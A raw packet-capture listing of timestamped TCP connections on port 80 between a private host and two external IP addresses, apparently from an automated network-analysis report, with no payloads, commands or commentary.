Aug 30, 2024 03:17:07.271529913 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271531105 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.271553993 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.271575928 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.271600962 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271610975 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271620989 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271634102 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271635056 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.271645069 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271655083 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271657944 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.271666050 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271676064 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271684885 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.271708012 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.271843910 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271855116 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271866083 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271876097 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271886110 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271891117 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.271898031 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271907091 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.271907091 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271922112 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.271935940 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.271939993 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271951914 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271976948 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.272039890 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272054911 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272064924 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272073984 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272084951 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272088051 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.272094965 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272100925 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.272106886 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272116899 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272116899 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.272126913 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272142887 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.272166967 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.272180080 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272188902 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272205114 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272217035 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272226095 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.272238970 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272241116 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.272255898 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272265911 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272269964 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.272277117 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272286892 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272298098 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272298098 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.272309065 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272320032 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272320032 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.272339106 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.272353888 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.272387981 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272398949 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272409916 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272420883 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272420883 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.272443056 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.272469044 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.272489071 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272501945 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272511959 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272521019 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.272524118 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272533894 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272536993 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.272545099 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272556067 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.272556067 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272581100 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.272610903 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272643089 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.272671938 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272682905 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272694111 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272705078 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272712946 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.272737980 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.272772074 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272780895 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272789955 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272806883 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272814035 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.272819042 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272829056 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272829056 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.272852898 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.272876024 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.272958040 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272968054 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272977114 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272989035 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.272989988 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.273000002 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.273010969 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.273011923 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.273020983 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.273037910 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.273039103 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.273050070 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.273058891 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.273060083 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.273077011 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.273091078 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.282291889 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.282301903 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.282322884 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.282339096 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.282346964 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.282350063 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.282362938 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.282377005 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.282378912 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.282387018 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.282397032 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.282409906 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.282430887 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.282458067 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.282466888 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.282496929 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.282619953 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.282639980 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.282650948 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.282682896 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.282711029 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.282721043 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.282730103 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.282753944 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.282764912 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.282794952 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.282808065 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.282816887 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.282838106 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.282850027 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.282865047 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.282876015 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.282885075 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.282895088 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.282897949 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.282922983 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.282947063 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.283221006 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283240080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283256054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283267975 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283276081 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283288956 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.283298969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283304930 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.283315897 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283324003 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.283338070 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283344984 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.283349991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283360958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283360958 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.283381939 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.283385992 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283396959 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283406019 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283406973 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.283432007 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.283432961 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283456087 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.283476114 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283478022 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.283485889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283493996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283510923 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.283535957 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.283571005 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283581972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283591986 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283603907 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283615112 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.283638000 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.283673048 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283689022 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283704996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283719063 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.283720970 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283731937 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283756018 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.283771038 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.283771992 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283780098 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283795118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283803940 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.283812046 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283816099 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.283821106 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283835888 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.283854008 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.283878088 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283894062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283904076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283914089 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.283914089 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283926010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283938885 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.283957958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283962011 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.283968925 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.283993959 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.283999920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284009933 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284033060 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.284053087 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.284146070 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284156084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284166098 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284188032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284193993 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.284198999 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284209013 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284218073 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.284230947 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.284235954 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284245014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284255028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284256935 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.284265995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284276009 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.284290075 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.284308910 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.284351110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284360886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284370899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284380913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284384012 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.284392118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284396887 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.284403086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284414053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284424067 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.284435034 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.284462929 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.284467936 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284477949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284518957 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.284588099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284599066 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284607887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284621000 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284631014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284632921 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.284641981 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284646988 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.284652948 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284660101 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.284684896 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.284708023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284718037 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284727097 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284739017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284744024 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.284749031 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284758091 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.284760952 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284771919 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284780979 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.284782887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284805059 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.284821987 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.284830093 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284898043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284909010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284919977 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284929991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.284935951 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.284959078 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.284981012 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.285001040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285033941 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.285036087 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285047054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285078049 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.285144091 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285159111 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285170078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285181046 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285191059 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285195112 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.285201073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285216093 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.285240889 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.285245895 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285255909 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285264969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285274982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285288095 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.285310030 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.285310030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285330057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285341024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285345078 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.285351038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285370111 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.285382032 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.285396099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285413027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285423040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285445929 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.285454035 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.285469055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285480976 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285490990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285511971 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.285523891 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.285586119 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285595894 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285609007 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285624027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285626888 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.285636902 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285648108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285649061 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.285659075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285669088 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.285687923 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.285697937 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.285702944 CEST	80	49733	147.45.44.104	192.168.2.4
